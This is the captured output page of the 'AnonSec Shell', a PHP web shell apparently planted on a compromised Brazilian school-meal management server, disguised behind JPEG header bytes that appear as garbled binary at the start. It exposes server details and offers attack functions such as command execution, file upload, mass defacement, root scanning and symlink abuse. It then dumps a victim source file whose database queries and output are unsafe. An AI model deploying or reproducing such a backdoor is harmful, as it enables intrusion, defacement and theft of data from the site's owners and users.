JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/merenda/mnova21/modulos/relatorio/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/merenda/mnova21/modulos/relatorio/saldo_produto.php
<?php
    /**
     * Created by PhpStorm.
     * User: RalpAlves
     * Date: 19/10/2015
     * Time: 14:01
     */
    session_start();
    $_SESSION['txt_usuario'];
    $exercicio  = $_SESSION['exercicio'];
    $id_usu_ent = $_SESSION['idusu'];

    $datai    = date($exercicio . '-01-01');
    $dataf    = date($exercicio . '-m-t');
    $rsResult = mysql_query("call f_saldo_produtos_por_data('$datai', '$dataf')");
?>
<head>
    <script src="https://cdn.datatables.net/1.10.9/css/jquery.dataTables.min.css" type="text/javascript"></script>
    <script type="text/javascript">
        $(document).ready(function () {
            $('#tabela').DataTable({
                "pagingType": "full_numbers", "lengthMenu": [[8, 25, 50, -1], [8, 25, 50, "Todos"]], stateSave: true, "oLanguage": {
                    "sProcessing": "Processando. Aguarde...",
                    "sLengthMenu": "Mostrar  _MENU_  registros",
                    "sZeroRecords": "NENHUM REGISTRO ENCONTRADO!",
                    "sInfo": "Mostrando _START_ até _END_ de _TOTAL_ registros",
                    "sInfoEmpty": "Mostrando 0 até 0 de 0 registros",
                    "sInfoFiltered": "(de _MAX_ registros no total)",
                    "sInfoPostFix": "",
                    "sSearch": "<em class='fa fa-search' title='pesquisar'></em>",
                    "sUrl": "http://SGAE - Merenda",
                    "oPaginate": {
                        "sFirst": "<<",
                        "sPrevious": "<em class='fa fa-arrow-circle-left' title='registro anterior'></em>",
                        "sNext": "<img src='img/proximo.png' width='20' title='Pr?ximo registro'/>",
                        "sLast": ">>"
                    }
                }
            });
        });
    </script>
    <style type="text/css">
        .tip {
            color: #fff;
            background: black;
            display: none; /*--Hides by default--*/
            padding: 5px;
            position: absolute;
            z-index: 1000;
            -webkit-border-radius: 3px;
            -moz-border-radius: 3px;
            border-radius: 3px;
            font-size: 10px;
            font-family: tahoma, verdana, arial, sans-serif;
        }

        a {
            color: black;
        }
    </style>
    <script>
        $(document).ready(function () {
            //Tooltips
            $(".tip_trigger").hover(function () {
                tip = $(this).find('.tip');
                tip.show(); //Show tooltip
            }, function () {
                tip.hide(); //Hide tooltip
            }).mousemove(function () {
                var mousex = 400;
                var mousey = 0;
                tip.css({top: mousey, left: mousex});
            });
        });
    </script>
</head>
<!--GRID DA DADOS-->
<body style="padding-top: 40px;"/>
<div id='print' class='container'>
    <p style='font-size: 20px;'>Saldo de produtos | Listagem &nbsp;
        <a href="modulos/relatorio/saldo_produtos_data.php?dataini=<? echo $datai ?>&datafim=<? echo $dataf ?>"
           target='_blank'>
            <i class="glyphicon glyphicon-print text-print navbar-right" title="gerar PDF"></i>
        </a>
    </p>

    <div class='panel panel-body panel-primary filterable'>
        <form id='frm_pesq' method='post' action="modulos/relatorio/saldo_produto_prn" target="_blank">
            <table class='table hover table-bordered' width="100%">
                <thead>
                <tr style="font-family: monospace;">
                    <th colspan="1" style="background:#EEEED1; border: none">Dados do produto</th>
                    <th colspan="0" style="background:#EEEED1; border: none"></th>
                    <th colspan="0" style="background:#EEEED1; border: none"></th>
                    <th colspan="0" style="background:#CDCDB4; border: none">Entradas</th>
                    <th colspan="0" style="background:#CDCDB4; border: none"></th>
                    <th colspan="0" style="background:#CDCDB4; border: none"></th>
                    <th colspan="0" style="background:#CDCDB4; border: none"></th>
                    <th colspan="0" style="background:#EEEED1; border: none">Saídas</th>
                    <th colspan="0" style="background:#EEEED1; border: none"></th>
                    <th colspan="0" style="background:#EEEED1; border: none"></th>
                    <th colspan="0" style="background:#8FBC8F; border: none">saldo</th>
                </tr>
                <tr>
                    <th style="background: #EEEED1; border-color: #dcdcdc;">Item-Cód.</th>
                    <th style="background: #EEEED1; border-color: #dcdcdc;">Und.</th>
                    <th style="background: #EEEED1; border-color: #dcdcdc;">Grupo</th>
                    <th class='direita' style="background:#CDCDB4; border-color: #dcdcdc;"><span class="tip_trigger">S. ant.<span class="tip">Saldo anterior</span></span></th>
                    <th class='direita' style="background:#CDCDB4; border-color: #dcdcdc;"><span class="tip_trigger">Inv.<span class="tip">Entradas por invetário de estoque</span></span>
                    </th>
                    <th class='direita' style="background:#CDCDB4; border-color: #dcdcdc;"><span class="tip_trigger">N.F.<span class="tip">Entradas por nota fiscal</span></span>
                    </th>
                    <th class='direita' style="background:#CDCDB4; border-color: #dcdcdc;"><span class="tip_trigger">Total<span class="tip">Total de entradas</span></span></th>
                    <th class='direita' style="background:#EEEED1; border-color: #dcdcdc;">
                        <span class="tip_trigger">Cardápio<span class="tip">Saídas por remessa cardápio</span></span></th>
                    <th class='direita' style="background:#EEEED1; border-color: #dcdcdc;"><span class="tip_trigger">Avulsa<span class="tip">Saídas por remessa avulsa</span></span>
                    </th>
                    <th class='direita' style="background:#EEEED1; border-color: #dcdcdc;"><span class="tip_trigger">Total<span class="tip">Total de saídas</span></span></th>
                    <th class='direita' style="background:#8FBC8F; border-color: #dcdcdc;"><span class=" tip_trigger">Total<span class="tip">Saldo atual do produto</span></span>
                    </th>
                </tr>
                </thead>
                <tbody>
                <?php
                    while ($row = mysql_fetch_array($rsResult)) {
                        $cod_id   = $row['pro_id'];
                        $entradas = $row['qtd_entra_nf'] + $row['qtd_entra_implam'];
                        $saidas   = $row['qtd_sai_rem_car'] + $row['qtd_sai_rem_avu'];
                        $saldo    = ($entradas - $saidas);
                        echo "<tr>";
                        echo "<td style='color: #191970;'>" . $row['pro_produto'] . '-' . $row['pro_id'] . "</td>";
                        echo "<td style='font-size: 10px'>" . $row['und_desc'] . "</td>";
                        echo "<td style='font-size: 9px'>" . $row['grp_grupo'] . "</td>";

                        $saldo_e = ($row['qtd_entra_implam_sa'] + $row['qtd_entra_nf_sa']) - ($row['qtd_sai_rem_car_sa'] + $row['qtd_sai_rem_avu_sa']);
                        $saldo_t = ($saldo - $saldo_e);
                        echo "<td class='direita' style='color: #0000CC;'><b>" . number_format($saldo_t, 2, ',', '.') . "</b></td>";

                        echo "<td class='direita' style='color: #0000CC;'>" . number_format($row['qtd_entra_implam'], 2, ',', '.') . "</td>";
                        echo "<td class='direita' style='color: #0000CC;'>" . number_format($row['qtd_entra_nf'], 2, ',', '.') . "</td>";
                        echo "<td class='direita' style='color: #0000CC; background: #CDCDB4;'><b>" . number_format($entradas, 2, ',', '.') . "</b></td>";
                        echo "<td class='direita' style='color: #843534;'>" . number_format($row['qtd_sai_rem_car'], 2, ',', '.') . "</td>";
                        echo "<td class='direita' style='color: #843534;'>" . number_format($row['qtd_sai_rem_avu'], 2, ',', '.') . "</td>";
                        echo "<td class='direita' style='color: #843534; background: #EEEED1;'><b>" . number_format($saidas, 2, ',', '.') . "</b></td>";
                        $saldo_g = ($saldo_t + $saldo);
                        if ($saldo_g < 0) {
                            echo "<td class='direita'  style='color: black; background: #CD5C5C;'><b>" . number_format($saldo_g, 2, ',', '.') . "</b></td>";
                        } else {
                            echo "<td class='direita'  style='color: black; background: #8FBC8F;'><b>" . number_format($saldo_g, 2, ',', '.') . "</b></td>";
                        }
                        echo "</tr>";
                    }
                ?>
                </tbody>
            </table>
            <!--            <input class="centro" type="submit" value="Imprimir" />-->
        </form>
    </div>
</div>
</html>

Anon7 - 2022
AnonSec Team